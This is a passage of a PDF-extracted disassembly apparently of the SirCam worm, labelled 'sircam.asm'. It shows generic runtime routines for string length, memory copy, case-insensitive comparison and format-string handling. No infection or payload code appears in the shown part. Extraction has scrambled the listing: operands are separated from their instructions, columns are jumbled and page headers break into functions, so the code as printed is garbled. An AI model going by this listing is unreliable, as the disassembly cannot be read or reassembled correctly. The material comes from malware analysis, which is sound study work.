sub_407534
proc near
sub_407534
mov
edx, edi
mov
edi, eax
mov
ecx, 0FFFFFFFFh
xor
al, al
repne scasb
mov
eax, 0FFFFFFFEh
sub
eax, ecx
mov
edi, edx
retn
endp
; CODE XREF: sub_40765C+F\031p
; sub_407AF8+E\031p ...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40754C
proc near
push
esi
push
edi
mov
esi, edx
mov
edi, eax
mov
edx, ecx
cmp
edi, esi
ja
short loc_407569
jz
short loc_407585
shr
ecx, 2
repe movsd
mov
ecx, edx
and
ecx, 3
repe movsb
pop
edi
; CODE XREF: sub_40765C+22\031p
; sub_407688+2B\031p
sircam.asm
Fri Aug 10 12:42:44 2001
193
pop
esi
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407569:
; CODE XREF: sub_40754C+A\030j
lea
esi,
lea
edi,
and
ecx,
std
repe movsb
sub
esi,
sub
edi,
mov
ecx,
shr
ecx,
repe movsd
cld
[esi+ecx-1]
[edi+ecx-1]
3
3
3
edx
2
loc_407585:
sub_40754C
; CODE XREF: sub_40754C+C\030j
pop
pop
retn
endp
edi
esi
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407588
proc near
; CODE XREF: sub_4075BC+1A\031p
; CODE:004092E1\031p
push
edi
push
esi
push
ebx
mov
esi, eax
mov
edi, edx
mov
ebx, ecx
xor
al, al
test
ecx, ecx
jz
short loc_40759C
repne scasb
jnz
short loc_40759C
inc
ecx
loc_40759C:
sub_407588
; CODE XREF: sub_407588+D\030j
; sub_407588+11\030j
sub
ebx,
mov
edi,
mov
esi,
mov
edx,
mov
ecx,
shr
ecx,
repe movsd
mov
ecx,
and
ecx,
repe movsb
stosb
mov
eax,
pop
ebx
pop
esi
pop
edi
retn
endp
ecx
esi
edx
edi
ebx
2
ebx
3
edx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4075BC
proc near
; CODE XREF: sub_413D40+ED\031p
; sub_413D40+108\031p
sircam.asm
sub_4075BC
Fri Aug 10 12:42:44 2001
push
push
mov
mov
mov
call
push
mov
call
mov
mov
pop
call
pop
pop
retn
endp
194
ebx
esi
ebx, edx
esi, eax
eax, ebx
sub_403724
eax
eax, ebx
sub_4038E8
edx, eax
eax, esi
ecx
sub_407588
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4075E0
proc near
; CODE XREF: sub_4084A8+365\031p
; sub_4084A8+37A\031p ...
push
edi
push
esi
push
ebx
mov
edi, edx
mov
esi, eax
mov
ebx, ecx
xor
eax, eax
or
ecx, ecx
jz
short loc_407621
repne scasb
sub
ebx, ecx
mov
ecx, ebx
mov
edi, edx
xor
edx, edx
loc_4075F9:
; CODE XREF: sub_4075E0+3F\031j
repe cmpsb
jz
short loc_407621
mov
al, [esi-1]
cmp
al, 61h
jb
short loc_40760D
cmp
al, 7Ah
ja
short loc_40760D
sub
al, 20h
loc_40760D:
; CODE XREF: sub_4075E0+23\030j
; sub_4075E0+28\030j
mov
cmp
jb
cmp
ja
sub
dl, [edi-1]
dl, 61h
short loc_40761D
dl, 7Ah
short loc_40761D
dl, 20h
loc_40761D:
; CODE XREF: sub_4075E0+33\030j
; sub_4075E0+38\030j
sub
jz
eax, edx
short loc_4075F9
loc_407621:
; CODE XREF: sub_4075E0+D\030j
; sub_4075E0+1B\030j
pop
pop
pop
ebx
esi
edi
sircam.asm
sub_4075E0
Fri Aug 10 12:42:44 2001
195
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407628
proc near
; CODE XREF: sub_4072D4+2A\030p
; sub_409F28+B\031p ...
push
edi
push
eax
mov
edi, eax
mov
ecx, 0FFFFFFFFh
xor
al, al
repne scasb
not
ecx
pop
edi
mov
al, dl
repne scasb
mov
eax, 0
jnz
short loc_407646
mov
eax, edi
dec
eax
loc_407646:
sub_407628
; CODE XREF: sub_407628+19\030j
pop
retn
endp
edi
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407648
sub_407648
proc near
push
ebx
mov
ebx, eax
add
ebx, 4
mov
eax, ebx
call
sub_402598
mov
[eax], ebx
add
eax, 4
pop
ebx
retn
endp
; CODE XREF: sub_40765C+19\031p
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40765C
proc near
; CODE XREF: sub_40CB90+28\031p
push
ebx
push
esi
mov
ebx, eax
test
ebx, ebx
jnz
short loc_407669
xor
eax, eax
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407669:
; CODE XREF: sub_40765C+6\030j
mov
call
mov
inc
mov
call
eax, ebx
sub_407534
esi, eax
esi
eax, esi
sub_407648
sircam.asm
sub_40765C
Fri Aug 10 12:42:44 2001
mov
mov
call
pop
pop
retn
endp
196
ecx, esi
edx, ebx
sub_40754C
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407688
proc near
var_28
var_8
var_4
= byte ptr -28h
= dword ptr -8
= byte ptr -4
push
push
push
add
mov
mov
mov
cmp
jbe
mov
ebx
esi
edi
esp, 0FFFFFFD8h
ebx, ecx
esi, edx
edi, eax
ebx, 1Fh
short loc_40769E
ebx, 1Fh
mov
dec
mov
call
cmp
jnz
dec
edx, ebx
edx
eax, esi
sub_409D38
al, 1
short loc_4076AD
ebx
; CODE XREF: sub_40782B+7A\031p
loc_40769E:
; CODE XREF: sub_407688+F\030j
loc_4076AD:
sub_407688
mov
mov
mov
call
mov
mov
mov
mov
lea
mov
xor
call
add
pop
pop
pop
retn
endp
; CODE XREF: sub_407688+22\030j
eax, esp
ecx, ebx
edx, esi
sub_40754C
[esp+ebx+28h+var_28], 0
eax, esp
[esp+28h+var_8], eax
[esp+28h+var_4], 6
edx, [esp+28h+var_8]
eax, ds:off_41C14C[edi*4]
ecx, ecx
sub_406CD4
esp, 28h
edi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4076E0
proc near
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
mov
eax, ebx
; CODE XREF: CODE:004079D0\031p
sircam.asm
sub_4076E0
Fri Aug 10 12:42:44 2001
mov
call
pop
pop
retn
endp
197
edx, esi
sub_40437C
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4076F4
sub_4076F4
proc near
push
ebx
mov
ebx, eax
mov
eax, ebx
call
sub_4034C8
pop
ebx
retn
endp
; CODE XREF: sub_407700+D3\031p
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_407700
proc near
var_24
var_20
var_1C
var_15
var_14
var_10
var_C
var_8
var_4
arg_8
=
=
=
=
=
=
=
=
=
=
; CODE XREF: sub_407AF8+22\031p
; sub_407B40+55\031p ...
dword ptr -24h
dword ptr -20h
dword ptr -1Ch
byte ptr -15h
dword ptr -14h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
dword ptr 10h
push
mov
add
push
xor
mov
push
push
push
mov
mov
add
mov
xor
mov
mov
mov
ebp
ebp, esp
esp, 0FFFFFF8Ch
ebx
ebx, ebx
[ebp+var_10], ebx
ebx
esi
edi
edi, eax
esi, ecx
ecx, [ebp+arg_8]
[ebp+var_4], edi
eax, eax
[ebp+var_8], eax
[ebp+var_C], eax
[ebp+var_10], eax
or
jz
edx, edx
short loc_407736
cmp
jz
lodsb
cmp
jz
esi, ecx
short loc_407736
loc_407724:
; CODE XREF: sub_407700+DD\031j
loc_407728:
; CODE XREF: sub_407700+34\031j
al, 25h
short loc_407740
sircam.asm
Fri Aug 10 12:42:44 2001
loc_407732:
198
; CODE XREF: sub_407700+48\031j
stosb
dec
jnz
edx
short loc_407728
loc_407736:
; CODE XREF: sub_407700+26\030j
; sub_407700+2A\030j ...
mov
eax, edi
sub
eax, [ebp+var_4]
jmp
loc_407AE8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407740:
; CODE XREF: sub_407700+30\030j
cmp
jz
lodsb
cmp
jz
lea
mov
esi, ecx
short loc_407736
mov
cmp
jnz
cmp
jz
lodsb
[ebp+var_15], al
al, 2Dh
short loc_40775D
esi, ecx
short loc_407736
al, 25h
short loc_407732
ebx, [esi-2]
[ebp+var_14], ebx
loc_407750:
; CODE XREF: sub_407700+6F\031j
loc_40775D:
; CODE XREF: sub_407700+56\030j
call
sub_4077E2
cmp
al, 3Ah
jnz
short loc_407771
mov
[ebp+var_8], ebx
cmp
esi, ecx
jz
short loc_407736
lodsb
jmp
short loc_407750
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407771:
mov
mov
cmp
jnz
cmp
jz
lodsb
call
loc_407788:
; CODE XREF: sub_407700+65\030j
[ebp+var_1C], ebx
ebx, 0FFFFFFFFh
al, 2Eh
short loc_407788
esi, ecx
short loc_407736
sub_4077E2
mov
mov
push
push
call
pop
mov
sub
jnb
xor
; CODE XREF: sub_407700+7C\030j
[ebp+var_20], ebx
[ebp+var_24], esi
ecx
edx
sub_40782B
edx
ebx, [ebp+var_1C]
ebx, ecx
short loc_40779F
ebx, ebx
cmp
jnz
sub
jnb
add
xor
; CODE XREF: sub_407700+9B\030j
[ebp+var_15], 2Dh
short loc_4077AF
edx, ecx
short loc_4077AD
ecx, edx
edx, edx
loc_40779F:
sircam.asm
Fri Aug 10 12:42:44 2001
loc_4077AD:
199
; CODE XREF: sub_407700+A7\030j
repe movsb
loc_4077AF:
; CODE XREF: sub_407700+A3\030j
xchg
sub
jnb
add
xor
ecx, ebx
edx, ecx
short loc_4077B9
ecx, edx
edx, edx
loc_4077B9:
; CODE XREF: sub_407700+B3\030j
mov
al, 20h
repe stosb
xchg
ecx, ebx
sub
edx, ecx
jnb
short loc_4077C7
add
ecx, edx
xor
edx, edx
loc_4077C7:
; CODE XREF: sub_407700+C1\030j
repe movsb
cmp
[ebp+var_C], 0
jz
short loc_4077D9
push
edx
lea
eax, [ebp+var_C]
call
sub_4076F4
pop
edx
loc_4077D9:
sub_407700
pop
mov
jmp
endp
; CODE XREF: sub_407700+CD\030j
ecx
esi, [ebp+var_24]
loc_407724
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4077E2
proc near
xor
cmp
jz
; CODE XREF: sub_407700+5D\030p
; sub_407700+83\030p
ebx, ebx
al, 2Ah
short loc_40780B
loc_4077E9:
; CODE XREF: sub_4077E2+21\031j
cmp
al, 30h
jb
short locret_40782A
cmp
al, 39h
ja
short locret_40782A
imul
ebx, 0Ah
sub
al, 30h
movzx
eax, al
add
ebx, eax
cmp
esi, ecx
jz
short loc_407805
lodsb
jmp
short loc_4077E9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407805:
; CODE XREF: sub_4077E2+1E\030j
; sub_4077E2+45\031j
pop
eax
jmp
loc_407736
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40780B:
mov
cmp
ja
inc
; CODE XREF: sub_4077E2+5\030j
eax, [ebp-8]
eax, [ebp+8]
short loc_407825
dword ptr [ebp-8]
sircam.asm
Fri Aug 10 12:42:44 2001
mov
cmp
mov
jz
xor
ebx, [ebp+0Ch]
byte ptr [ebx+eax*8+4], 0
ebx, [ebx+eax*8]
short loc_407825
ebx, ebx
loc_407825:
; CODE XREF: sub_4077E2+2F\030j
; sub_4077E2+3F\030j
cmp
jz
lodsb
esi, ecx
short loc_407805
locret_40782A:
sub_4077E2
200
; CODE XREF: sub_4077E2+A\030j
; sub_4077E2+F\030j
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40782B
proc near
; CODE XREF: sub_407700+90\030p
and
al, 0DFh
mov
cl, al
mov
eax, 1
mov
ebx, [ebp-8]
cmp
ebx, [ebp+8]
ja
short loc_407898
inc
dword ptr [ebp-8]
mov
esi, [ebp+0Ch]
lea
esi, [esi+ebx*8]
mov
eax, [esi]
movzx
ebx, byte ptr [esi+4]
jmp
ds:off_407852[ebx*4]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_407852
dd offset loc_407946
; DATA XREF: sub_40782B+20\030r
dd offset loc_407896
dd offset loc_4079AD
dd offset loc_407A6B
dd offset loc_4079DD
dd offset loc_407A4D
dd offset loc_407A2D
dd offset loc_407896
dd offset loc_407896
dd offset loc_407896
dd offset loc_4079EE
dd offset loc_407A11
dd offset loc_407A67
dd offset loc_4079BC
dd offset loc_407896
dd offset loc_4079F5
dd offset loc_4078AA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407896:
; CODE XREF: sub_40782B+20\030j
; sub_40782B+99\031j ...
xor
eax, eax
call
mov
mov
sub
call
sub_407ADD
edx, [ebp-14h]
ecx, [ebp-24h]
ecx, edx
sub_407688
loc_407898:
; CODE XREF: sub_40782B+F\030j
loc_4078AA:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+67\030o
lea
mov
mov
ebx, [ebp-30h]
edx, [eax]
[ebx], edx
sircam.asm
Fri Aug 10 12:42:44 2001
201
mov
edx, [eax+4]
mov
[ebx+4], edx
cmp
cl, 44h
jz
short loc_4078CD
cmp
cl, 55h
jz
short sub_4078EB
cmp
cl, 58h
jnz
short loc_407896
mov
ecx, 10h
jmp
short loc_4078F0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4078CD:
sub_40782B
test
jz
neg
adc
neg
call
mov
inc
dec
mov
retn
endp
; CODE XREF: sub_40782B+8F\030j
dword ptr [ebx+4], 80000000h
short sub_4078EB
dword ptr [ebx]
dword ptr [ebx+4], 0
dword ptr [ebx+4]
sub_4078EB
al, 2Dh
ecx
esi
[esi], al
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4078EB
proc near
mov
ecx, 0Ah
lea
esi, [ebp-51h]
push
push
push
mov
mov
call
pop
xchg
add
cmp
jb
add
ecx
0
ecx
eax, [ebx]
edx, [ebx+4]
sub_405775
ecx
eax, edx
dl, 30h
dl, 3Ah
short loc_40790E
dl, 7
dec
mov
push
push
push
mov
mov
call
pop
mov
mov
or
jnz
lea
sub
mov
cmp
jbe
esi
[esi], dl
ecx
0
ecx
eax, [ebx]
edx, [ebx+4]
sub_405680
ecx
[ebx], eax
[ebx+4], edx
eax, edx
short loc_4078F3
ecx, [ebp-51h]
ecx, esi
edx, [ebp-20h]
edx, 10h
short loc_407937
; CODE XREF: sub_40782B+94\030j
; sub_40782B+A9\030j ...
loc_4078F0:
; CODE XREF: sub_40782B+A0\030j
loc_4078F3:
; CODE XREF: sub_4078EB+3C\031j
loc_40790E:
; CODE XREF: sub_4078EB+1E\030j
sircam.asm
Fri Aug 10 12:42:44 2001
202
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407937:
sub
jbe
add
mov
; CODE XREF: sub_4078EB+49\030j
edx, ecx
short locret_407945
ecx, edx
al, 30h
dec
mov
dec
jnz
esi
[esi], al
edx
short loc_40793F
loc_40793F:
; CODE XREF: sub_4078EB+58\031j
locret_407945:
sub_4078EB
; CODE XREF: sub_4078EB+4E\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407946:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+27\030o
cmp
cl, 44h
jz
short loc_407960
cmp
cl, 55h
jz
short sub_407972
cmp
cl, 58h
jnz
loc_407896
mov
ecx, 10h
jmp
short loc_407977
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407960:
; CODE XREF: CODE:00407949\030j
or
jns
neg
call
mov
inc
dec
mov
retn
eax, eax
short sub_407972
eax
sub_407972
al, 2Dh
ecx
esi
[esi], al
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_407972
proc near
mov
; CODE XREF: CODE:0040794E\030j
; CODE:00407962\030j ...
ecx, 0Ah
loc_407977:
; CODE XREF: CODE:0040795E\030j
; CODE:00407A62\031j
lea
esi, [ebp-61h]
xor
div
add
cmp
jb
add
edx, edx
ecx
dl, 30h
dl, 3Ah
short loc_407989
dl, 7
dec
mov
or
jnz
lea
sub
esi
[esi], dl
eax, eax
short loc_40797A
ecx, [ebp-61h]
ecx, esi
loc_40797A:
; CODE XREF: sub_407972+1C\031j
loc_407989:
; CODE XREF: sub_407972+12\030j
sircam.asm
Fri Aug 10 12:42:44 2001
203
mov
edx, [ebp-20h]
cmp
edx, 10h
jbe
short loc_40799E
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40799E:
sub
jbe
add
mov
; CODE XREF: sub_407972+29\030j
edx, ecx
short locret_4079AC
ecx, edx
al, 30h
dec
mov
dec
jnz
esi
[esi], al
edx
short loc_4079A6
loc_4079A6:
; CODE XREF: sub_407972+38\031j
locret_4079AC:
sub_407972
; CODE XREF: sub_407972+2E\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4079AD:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+2F\030o
cmp
cl, 53h
jnz
loc_407896
mov
ecx, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4079BC:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+5B\030o
cmp
cl, 53h
jnz
loc_407896
cmp
word ptr [eax], 1
jbe
short loc_4079DA
mov
edx, eax
lea
eax, [ebp-0Ch]
call
sub_4076E0
mov
esi, [ebp-0Ch]
jmp
short loc_407A1C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4079DA:
; CODE XREF: CODE:004079C9\030j
; CODE:00407A1E\031j
xor
ecx, ecx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4079DD:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+37\030o
cmp
cl, 53h
jnz
loc_407896
mov
esi, eax
lodsb
movzx
ecx, al
jmp
short loc_407A23
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4079EE:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+4F\030o
mov
esi, offset loc_4036B0
jmp
short loc_4079FA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4079F5:
mov
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+63\030o
esi, offset loc_403710
sircam.asm
Fri Aug 10 12:42:44 2001
204
loc_4079FA:
; CODE XREF: CODE:004079F3\030j
cmp
cl, 53h
jnz
loc_407896
mov
edx, eax
lea
eax, [ebp-10h]
call
esi ; loc_403710
mov
esi, [ebp-10h]
mov
eax, esi
jmp
short loc_407A1C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407A11:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+53\030o
cmp
jnz
mov
cl, 53h
loc_407896
esi, eax
loc_407A1C:
; CODE XREF: CODE:004079D8\030j
; CODE:00407A0F\030j
or
jz
mov
esi, esi
short loc_4079DA
ecx, [esi-4]
loc_407A23:
; CODE XREF: CODE:004079EC\030j
cmp
ecx, [ebp-20h]
ja
short loc_407A29
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407A29:
; CODE XREF: CODE:00407A26\030j
mov
ecx, [ebp-20h]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_407A2D:
; CODE XREF: sub_40782B+20\030j
; DATA XREF: sub_40782B+3F\030o
cmp
cl, 53h
jnz
loc_407896
mov
esi, eax
push
edi
mov
edi, eax
xor
al, al
mov
ecx, [ebp-20h]
jecxz
short loc_407A47
repne scasb
jnz
short loc_407A47
dec
edi
loc_407A47:
; CODE XREF: CODE:00407A40\030j
; CODE:00407A44\030j
mov
ecx, edi
sub
ecx, esi
pop
edi
